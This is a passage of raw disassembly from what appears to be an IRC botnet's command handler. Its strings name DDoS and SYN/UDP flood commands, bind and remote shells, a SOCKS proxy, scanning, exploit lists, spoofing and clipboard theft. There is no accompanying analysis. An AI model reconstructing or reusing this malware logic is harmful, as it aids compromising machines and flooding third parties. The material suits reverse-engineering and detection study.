push ebx ; int
lea eax, [ebp+Dst]
push 1Bh ; int
push eax ; Source
call sub_40B3BA
add esp, 18h
mov [ebp+var_2910], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB4]
push ebx
push eax
push offset sub_416000
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_2910]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_402508
loc_4024F2: ; CODE XREF: sub_401ACD+A39j
cmp [ebp+var_2904], ebx
jnz loc_4082DE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_4024F2
; ---------------------------------------------------------------------------
loc_402508: ; CODE XREF: sub_401ACD+A23j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42CB58
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_402519: ; CODE XREF: sub_401ACD+966j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CB28
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_40252A: ; CODE XREF: sub_401ACD+956j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CAF4
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_40253B: ; CODE XREF: sub_401ACD+6B6j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
mov [edi], ecx
jnz loc_401F75
loc_402551: ; CODE XREF: sub_401ACD+94Aj
mov edi, [edi]
push edi ; Str2
push offset aC ; "c"
mov [ebp+arg_8], edi
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40964C
push edi ; Str2
push offset aK ; "k"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40964C
cmp [ebp+var_A4], ebx
jnz short loc_4025A2
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409644
loc_4025A2: ; CODE XREF: sub_401ACD+AB9j
cmp [ebp+arg_28], ebx
jnz loc_409644
xor edi, edi
cmp dword_4294CC, ebx
jle loc_402757
mov [ebp+arg_20], offset dword_43DB90
loc_4025C0: ; CODE XREF: sub_401ACD+B12j
push [ebp+arg_8] ; Str2
push [ebp+arg_20] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_4025E6
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_4294CC
jl short loc_4025C0
jmp loc_402757
; ---------------------------------------------------------------------------
loc_4025E6: ; CODE XREF: sub_401ACD+B02j
push offset SubStr ; " :"
push [ebp+Src] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F75
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_43DBA8[edi]
push 9Fh ; Count
add eax, 4
push ecx ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_40263B: ; CODE XREF: sub_401ACD+C1Fj
push [ebp+arg_20]
lea eax, [ebp+SubStr]
push offset aD ; "$%d-"
push eax ; Dest
call _sprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
test eax, eax
jz short loc_4026A7
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_4026A7
lea eax, dword_43DB90[edi]
push eax ; Str
call _strlen
add [ebp+var_C], eax
pop ecx
jz short loc_4026E2
mov eax, [ebp+arg_C]
push dword ptr [eax-4] ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026E2
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_41843B
add esp, 0Ch
jmp short loc_4026E2
; ---------------------------------------------------------------------------
loc_4026A7: ; CODE XREF: sub_401ACD+B96j
; sub_401ACD+B9Dj
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026E2
lea eax, [ebp+SubStr]
push 2 ; Count
push eax ; Source
lea eax, [ebp+var_94]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_41843B
add esp, 18h
loc_4026E2: ; CODE XREF: sub_401ACD+BAFj
; sub_401ACD+BC3j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_40263B
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej
push [ebp+arg_20]
lea eax, [ebp+SubStr]
push offset aD_0 ; "$%d"
push eax ; Dest
call _sprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
test eax, eax
jz short loc_402742
mov eax, [edi]
cmp eax, ebx
jz short loc_402742
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_41843B
add esp, 0Ch
loc_402742: ; CODE XREF: sub_401ACD+C5Aj
; sub_401ACD+C60j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_4026FF
mov [ebp+var_2C8], 1
loc_402757: ; CODE XREF: sub_401ACD+AE6j
; sub_401ACD+B14j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429094
jz short loc_402770
cmp [ebp+var_2C8], ebx
jz loc_402961
loc_402770: ; CODE XREF: sub_401ACD+C95j
push [ebp+Source] ; Source
mov edi, [ebp+Src]
push offset aMe ; "$me"
push edi ; Src
call sub_41843B
lea eax, [ebp+var_C4]
push eax ; Source
push offset aUser ; "$user"
push edi ; Src
call sub_41843B
push [ebp+Format] ; Source
push offset aChan ; "$chan"
push edi ; Src
call sub_41843B
push ebx ; Str1
push ebx ; int
lea eax, [ebp+SubStr]
push 2 ; int
push eax ; Dest
call sub_40AE84
push eax ; Source
push offset aRndnick ; "$rndnick"
push edi ; Src
call sub_41843B
add esp, 40h
push [ebp+arg_14] ; Source
push offset aServer ; "$server"
push edi ; Src
call sub_41843B
mov edi, offset aChr ; "$chr("
push edi ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj
test eax, eax
jz loc_4028DF
push edi ; SubStr
push [ebp+Src] ; Str
call _strstr
mov [ebp+Source], eax
add eax, 5
push 4 ; Count
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; Dest
call _strncpy
lea eax, [ebp+SubStr]
push offset asc_42CAAC ; ")"
push eax ; Str
call _strtok
add esp, 1Ch
cmp [ebp+SubStr], 30h
jl short loc_40282E
cmp [ebp+SubStr], 39h
jle short loc_402844
loc_40282E: ; CODE XREF: sub_401ACD+D56j
push 3 ; Count
lea eax, [ebp+SubStr]
push offset a63 ; "63"
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_402844: ; CODE XREF: sub_401ACD+D5Fj
lea eax, [ebp+SubStr]
push eax ; Str
call _atoi
test eax, eax
pop ecx
jle short loc_40286A
lea eax, [ebp+SubStr]
push eax ; Str
call _atoi
pop ecx
mov [ebp+var_94], al
jmp short loc_40287E
; ---------------------------------------------------------------------------
loc_40286A: ; CODE XREF: sub_401ACD+D86j
call _rand
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_40287E: ; CODE XREF: sub_401ACD+D9Bj
lea eax, [ebp+SubStr]
mov [ebp+var_93], bl
push eax ; Str
call _strlen
mov [ebp+arg_20], eax
push 0Ch ; Size
lea eax, [ebp+SubStr]
push ebx ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_20]
add eax, 6
push eax ; Count
lea eax, [ebp+SubStr]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_94]
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_41843B
push edi ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 30h
jmp loc_4027E2
; ---------------------------------------------------------------------------
loc_4028DF: ; CODE XREF: sub_401ACD+D17j
mov edi, 1FFh
lea eax, [ebp+Str]
push edi ; Count
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+Str]
push edi ; Count
push eax ; Source
lea eax, [ebp+var_4EF8]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_4EF8]
push offset asc_42CDC0 ; " "
push eax ; Str
call _strtok
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+Args]
mov [ebp+Source], 1Fh
loc_40292F: ; CODE XREF: sub_401ACD+E77j
push offset asc_42CDC0 ; " "
push ebx ; Str
call _strtok
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+Source]
pop ecx
jnz short loc_40292F
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401F75
add ecx, 3
mov [eax], ecx
loc_402961: ; CODE XREF: sub_401ACD+C9Dj
mov edi, [ebp+esi+var_90]
push edi ; Str2
push offset aRndnick_0 ; "rndnick"
mov [ebp+arg_8], edi
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4095F2
push edi ; Str2
push offset aRn ; "rn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4095F2
push edi ; Str2
push offset aDi3 ; "di3"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4049B3
push edi ; Str2
push offset aDi3 ; "di3"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4049B3
push edi ; Str2
push offset aLogout ; "logout"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404911
push edi ; Str2
push offset aLo ; "lo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404911
push edi ; Str2
push offset aVersion ; "version"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi ; Str2
push offset aVer ; "ver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi ; Str2
push offset aRulez ; "rulez"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4048F8
push edi ; Str2
push offset aRz ; "rz"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4048F8
push edi ; Str2
push offset aSpeedtest ; "speedtest"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4048DF
push edi ; Str2
push offset aSt ; "st"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4048DF
push edi ; Str2
push offset aSecure ; "secure"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi ; Str2
push offset aSec ; "sec"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi ; Str2
push offset aUnsecure ; "unsecure"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi ; Str2
push offset aUnsec ; "unsec"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi ; Str2
push offset aBindshell ; "bindshell"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4046DB
push edi ; Str2
push offset aBd ; "bd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4046DB
push edi ; Str2
push offset aBindshellstop ; "bindshellstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402B0E
push dword ptr [ebp+esi+Args]
push 6
push offset aServer_0 ; "Server"
push offset dword_42CA08
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B0E: ; CODE XREF: sub_401ACD+1027j
push edi ; Str2
push offset aSocks4 ; "socks4"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045B9
push edi ; Str2
push offset aS4 ; "s4"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045B9
push edi ; Str2
push offset aSocks4stop ; "socks4stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402B61
push dword ptr [ebp+esi+Args]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42C9E0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B61: ; CODE XREF: sub_401ACD+107Aj
push edi ; Str2
push offset aRloginstop ; "rloginstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402B8A
push dword ptr [ebp+esi+Args]
push 9
push offset aServer_0 ; "Server"
push offset dword_42C9C4
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B8A: ; CODE XREF: sub_401ACD+10A3j
push edi ; Str2
push offset aHttpstop ; "httpstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402BB3
push dword ptr [ebp+esi+Args]
push 3
push offset aServer_0 ; "Server"
push offset dword_42C9A8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402BB3: ; CODE XREF: sub_401ACD+10CCj
push edi ; Str2
push offset aLogstop ; "logstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402BDC
push dword ptr [ebp+esi+Args]
push 25h
push offset aLogList ; "Log list"
push offset dword_42C988
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402BDC: ; CODE XREF: sub_401ACD+10F5j
push edi ; Str2
push offset aRedirectstop ; "redirectstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402C05
push dword ptr [ebp+esi+Args]
push 18h
push offset aTcpRedirect ; "TCP redirect"
push offset dword_42C958
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C05: ; CODE XREF: sub_401ACD+111Ej
push edi ; Str2
push offset aDdos_stop ; "ddos.stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402C2E
push dword ptr [ebp+esi+Args]
push 0Dh
push offset aDdosFlood ; "DDoS flood"
push offset dword_42C934
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C2E: ; CODE XREF: sub_401ACD+1147j
push edi ; Str2
push offset aSynstop ; "synstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402C57
push dword ptr [ebp+esi+Args]
push 0Eh
push offset aSynFlood ; "Syn flood"
push offset dword_42C914
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C57: ; CODE XREF: sub_401ACD+1170j
push edi ; Str2
push offset aSkysynstop ; "skysynstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402C80
push dword ptr [ebp+esi+Args]
push 10h
push offset aSkysynFlood ; "SkySyn flood"
push offset dword_42C8E8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C80: ; CODE XREF: sub_401ACD+1199j
push edi ; Str2
push offset aTarga3stop ; "targa3stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402CA9
push dword ptr [ebp+esi+Args]
push 11h
push offset aTarga3Flood ; "Targa3 flood"
push offset dword_42C8BC
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402CA9: ; CODE XREF: sub_401ACD+11C2j
push edi ; Str2
push offset aWonkstop ; "wonkstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD2
push dword ptr [ebp+esi+Args]
push 12h
push offset aWonkFlood ; "Wonk flood"
push offset dword_42C898
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402CD2: ; CODE XREF: sub_401ACD+11EBj
push edi ; Str2
push offset aPacketstop ; "packetstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_402E28
mov esi, dword ptr [ebp+esi+Args]
mov edi, [ebp+arg_4]
push esi ; Str
push 0Dh ; int
push offset aDdosFlood ; "DDoS flood"
push offset dword_42C934 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B648
push esi ; Str
push 0Eh ; int
push offset aSynFlood ; "Syn flood"
push offset dword_42C914 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B648
add esp, 40h
push esi ; Str
push 17h ; int
push offset aUdpFlood ; "UDP flood"
push offset dword_42C874 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B648
push esi ; Str
push 16h ; int
push offset aPingFlood ; "Ping flood"
push offset dword_42C85C ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B648
add esp, 40h
push esi ; Str
push 11h ; int
push offset aTarga3Flood ; "Targa3 flood"
push offset dword_42C8BC ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B648
push esi ; Str
push 12h ; int
push offset aWonkFlood ; "Wonk flood"
push offset dword_42C898 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B648
add esp, 40h
push esi ; Str
push 0Fh ; int
push offset aTsunamiFlood ; "Tsunami flood"
push offset dword_42C83C ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B648
push esi ; Str
push 13h ; int
push offset aWisdomAttack ; "Wisdom attack"
push offset dword_42C81C ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B648
add esp, 40h
push esi ; Str
push 10h ; int
push offset aSkysynFlood ; "SkySyn flood"
push offset dword_42C8E8 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B648
push ebx ; int
push [ebp+var_4] ; int
push offset unk_42C7E8 ; int
push [ebp+Format] ; Str
push edi ; int
call sub_409869
add esp, 34h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_402E28: ; CODE XREF: sub_401ACD+1214j
push edi ; Str2
push offset aTsunamistop ; "tsunamistop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402E51
push dword ptr [ebp+esi+Args]
push 0Fh
push offset aTsunamiFlood ; "Tsunami flood"
push offset dword_42C83C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402E51: ; CODE XREF: sub_401ACD+136Aj
push edi ; Str2
push offset aWisdomstop ; "wisdomstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402E7A
push dword ptr [ebp+esi+Args]
push 13h
push offset aWisdomAttack ; "Wisdom attack"
push offset dword_42C81C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402E7A: ; CODE XREF: sub_401ACD+1393j
push edi ; Str2
push offset aUdpstop ; "udpstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402EA3
push dword ptr [ebp+esi+Args]
push 17h
push offset aUdpFlood ; "UDP flood"
push offset dword_42C874
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402EA3: ; CODE XREF: sub_401ACD+13BCj
push edi ; Str2
push offset aPingstop ; "pingstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402ECC
push dword ptr [ebp+esi+Args]
push 16h
push offset aPingFlood ; "Ping flood"
push offset dword_42C85C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402ECC: ; CODE XREF: sub_401ACD+13E5j
push edi ; Str2
push offset aTftpstop ; "tftpstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402EF5
push dword ptr [ebp+esi+Args]
push 5
push offset aServer_0 ; "Server"
push offset dword_42C7A0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402EF5: ; CODE XREF: sub_401ACD+140Ej
push edi ; Str2
push offset aFindfilestop ; "findfilestop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi ; Str2
push offset aFfstop ; "ffstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi ; Str2
push offset aProcsstop ; "procsstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi ; Str2
push offset aPsstop ; "psstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi ; Str2
push offset aClonestop ; "clonestop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402F72
push dword ptr [ebp+esi+Args]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42C750
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402F72: ; CODE XREF: sub_401ACD+148Bj
push edi ; Str2
push offset aSecurestop ; "securestop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402F9B
push dword ptr [ebp+esi+Args]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42C72C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402F9B: ; CODE XREF: sub_401ACD+14B4j
push edi ; Str2
push offset aScanstop ; "scanstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402FC4
push dword ptr [ebp+esi+Args]
push 0Bh
push offset aScan ; "Scan"
push offset dword_42C70C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402FC4: ; CODE XREF: sub_401ACD+14DDj
push edi ; Str2
push offset aScanstats ; "scanstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi ; Str2
push offset aStats ; "stats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi ; Str2
push offset aTransferstats ; "transferstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi ; Str2
push offset aTrstats ; "trstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi ; Str2
push offset aConnectbacksta ; "connectbackstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404547
push edi ; Str2
push offset aCbstats ; "cbstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404547
push edi ; Str2
push offset aExploitlist ; "exploitlist"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404531
push edi ; Str2
push offset aExplist ; "explist"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404531
push edi ; Str2
push offset aReconnect ; "reconnect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404512
push edi ; Str2
push offset aR ; "r"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404512
push edi ; Str2
push offset aDisconnect ; "disconnect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4044F0
push edi ; Str2
push offset aDc ; "dc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4044F0
push edi ; Str2
push offset aQuit_0 ; "quit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4044A8
push edi ; Str2
push offset aQ ; "q"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4044A8
push edi ; Str2
push offset aStatus ; "status"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404494
push edi ; Str2
push offset aS_5 ; "s"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404494
push edi ; Str2
push offset aId ; "id"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40445D
push edi ; Str2
push offset aI ; "i"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40445D
push edi ; Str2
push offset aR3start ; "r3start"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_403190
call sub_418884
test eax, eax
mov eax, offset unk_42C64C
jnz short loc_403162
mov eax, offset unk_42C628
loc_403162: ; CODE XREF: sub_401ACD+168Ej
push eax ; Format
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 1Ch
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_403190: ; CODE XREF: sub_401ACD+1680j
push edi ; Str2
push offset aThreads ; "threads"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40437E
push edi ; Str2
push offset aT ; "t"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40437E
push edi ; Str2
push offset aAliases ; "aliases"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40435B
push edi ; Str2
push offset aAl ; "al"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40435B
push edi ; Str2
push offset aLog ; "log"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404268
push edi ; Str2
push offset aLg ; "lg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404268
push edi ; Str2
push offset aClearlog ; "clearlog"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40424C
push edi ; Str2
push offset aClg ; "clg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40424C
push edi ; Str2
push offset aNetinfo ; "netinfo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404212
push edi ; Str2
push offset aNi ; "ni"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404212
push edi ; Str2
push offset aSysinfo ; "sysinfo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4041E7
push edi ; Str2
push offset aSi ; "si"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4041E7
push edi ; Str2
push offset aKosomaky4d ; "KOSOMAKY4D"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4041AD
push edi ; Str2
push offset aKosomaky4d ; "KOSOMAKY4D"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4041AD
push edi ; Str2
push offset aProcs ; "procs"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi ; Str2
push offset aPs ; "ps"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi ; Str2
push offset aUptime ; "uptime"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404005
push edi ; Str2
push offset aUp ; "up"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404005
push edi ; Str2
push offset aDriveinfo ; "driveinfo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403FE8
push edi ; Str2
push offset aDrv ; "drv"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403FE8
push edi ; Str2
push offset aTestdlls ; "testdlls"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403FCF
push edi ; Str2
push offset aDll ; "dll"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403FCF
push edi ; Str2
push offset aOpencmd ; "opencmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403F5B
push edi ; Str2
push offset aOcmd ; "ocmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403F5B
push edi ; Str2
push offset aCmdstop ; "cmdstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4033B1
push dword ptr [ebp+esi+Args]
push 0Ah
push offset aRemoteShell ; "Remote shell"
push offset dword_42C568
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4033B1: ; CODE XREF: sub_401ACD+18CAj
push edi ; Str2
push offset aWho ; "who"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4034C7
cmp [ebp+var_8], ebx
jnz short loc_4033E5
push ebx ; int
push [ebp+var_4] ; int
push offset dword_42C550 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
loc_4033E5: ; CODE XREF: sub_401ACD+18FCj
mov eax, [ebp+arg_18]
xor edi, edi
mov [ebp+arg_18], eax
jmp short loc_4033F2
; ---------------------------------------------------------------------------
loc_4033EF: ; CODE XREF: sub_401ACD+196Cj
mov eax, [ebp+arg_18]
loc_4033F2: ; CODE XREF: sub_401ACD+1920j
cmp [eax], bl
jz short loc_4033F9
inc eax
jmp short loc_4033FE
; ---------------------------------------------------------------------------
loc_4033F9: ; CODE XREF: sub_401ACD+1927j
mov eax, offset aEmpty ; "<Empty>"
loc_4033FE: ; CODE XREF: sub_401ACD+192Aj
push eax
push edi
lea eax, [ebp+Dst]
push offset aD_S ; "%d. %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add [ebp+arg_18], 80h
add esp, 24h
inc edi
cmp edi, 3
jl short loc_4033EF
push offset unk_42C520
call sub_415D38
pop ecx
loc_403446: ; CODE XREF: sub_401ACD+1BFDj
; sub_401ACD+2EFAj
mov edi, dword ptr [ebp+esi+Args]
cmp edi, ebx
mov [ebp+arg_20], edi
jz loc_401F75
push [ebp+arg_8] ; Str2
push offset aSpoof ; "spoof"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_404AAB
push offset Str2 ; "off"
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4049D9
lea eax, [ebp+Dst]
push offset asc_42C4EC ; "-"
push eax ; Dest
mov dword_4CF180, ebx
call _sprintf
pop ecx
pop ecx
loc_40349D: ; CODE XREF: sub_401ACD+2FD9j
cmp [ebp+var_8], ebx
jnz loc_409644
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
loc_4034BF: ; CODE XREF: sub_401ACD+7032j
add esp, 14h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_4034C7: ; CODE XREF: sub_401ACD+18F3j
push edi ; Str2
push offset aGetclip ; "getclip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403F1A
push edi ; Str2
push offset aGc ; "gc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403F1A
push edi ; Str2
push offset aFlusharp ; "flusharp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403F03
push edi ; Str2
push offset aFarp ; "farp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403F03
